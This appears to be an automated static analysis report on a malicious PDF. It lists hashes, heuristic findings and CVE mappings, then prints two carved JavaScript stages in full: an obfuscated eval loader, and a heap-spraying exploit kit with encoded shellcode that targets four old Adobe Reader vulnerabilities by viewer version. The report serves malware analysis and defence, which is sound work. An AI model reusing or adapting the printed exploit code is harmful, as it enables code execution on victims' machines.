Malicious PDF — malware analysis report

Static analysis result for SHA-256 425267e3d1718ecc…

MALICIOUS

PDF

25.4 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-08-01
MD5: 88f2a3415aa2f9ae1c8fd8cbde1ee89c SHA-1: 5465085aa61aa2b5424670e8662d3ac0b25365b9 SHA-256: 425267e3d1718ecc5e2f5dddbd488d9991597f23d208e8f8caf14c7804e52e68
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Service Execution: JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings. The JavaScript is likely intended to execute automatically when the PDF is opened, as suggested by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The 'String.fromCharCode' usage points to potential obfuscation within the script. The primary purpose appears to be the execution of this script, which could lead to further malicious actions.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 558 bytes
SHA-256: 0c2c9753d0b1add34d4320d3653061e3293115d577cd24ba4551effafa516584
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
omdq='';
var q = date.getFullYear()-2007;
dndsm='2011s'.replace(date.getFullYear(),'hi');
kxz=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+dndsm+'[a]');
var wkfd = g(kxz);
crb=('sub2011').replace(date.getFullYear(),'ject');
var jvw=g(crb).replace(date.getFullYear(),'al');
dpv=g(jvw);
ssvu='pro2011cer';
ssvu=dpv('ssvu.replace(date.getFullYear(),"du")');
czavs=dpv(g(ssvu));
juez = dpv(wkfd);
for (i = 0; i < juez.length; i++) {
	kygda = juez[i];
	omdq += czavs(kygda);
}
dpv(omdq);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2F7 3636 bytes
SHA-256: 587d16c420d2412ccf39a73c5a0f480926652add09aff827528f63c1c6f53a3a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u7f34%ue2aa%uc3fa%ue5e8%uffff%u96ff%u7e73%u7f7f%ufe21%u2393%u7f7e%uf67f%uf298%u6f30%u10f2%u4e2b%u28a4%u2c2e%u2c2c%u2c2c%u2c2c%u2c2a%u172c%u7e7b%u7f7f%u292a%u172c%u1110%u7f7f%u0a17%u130d%u2b12%uf117%u7131%u9793%u7f37%u7f7f%u972f%u7f03%u7f7f%uaf80%ubbfc%u1777%u9030%u7a30%u972f%u7f13%u7f7f%uaf80%ubffa%u680a%u2b15%u8c26%u17d5%u810d%u69cc%u6297%u7f7f%u2f7f%u2e97%u7f7f%u807f%u2caf%u8115%uf617%u7e10%u97c2%u7f77%u7f7f%u972f%u7f43%u7f7f%uaf80%u4e1f%u1bbf%u2ff4%uf44f%u732d%u2df4%uf46b%u570d%u67c6%u7f7f%u4e7f%u4e80%ud3bf%u1e43%u7d03%u5f53%ub0be%u7e72%u9db8%ufe8f%u2480%u35c3%uf415%u6f3d%u6df4%ua60a%u3bf6%u635b%ubc1e%uf41f%u5b13%uf45b%u433a%u2bf4%u077a%u957e%u35f4%uf467%u5f25%u947e%u4b9c%uf436%uf44b%u917e%u804e%ubf4e%ud383%ubffb%u780b%ub0be%u7e72%u94b8%u448b%u5b03%u0a57%uf49e%u5b25%u947e%uf419%u3473%u25f4%u7e63%uf494%uf47b%u977e%u3bf6%u635b%ubd1e%u7f77%u9097%u8081%u1780%u0b0b%u450f%u5050%u1211%u1413%u1c51%u5110%u1c1c%u1b50%u0f51%u0f17%u1940%u4d42%u5949%u421a%u7f4c';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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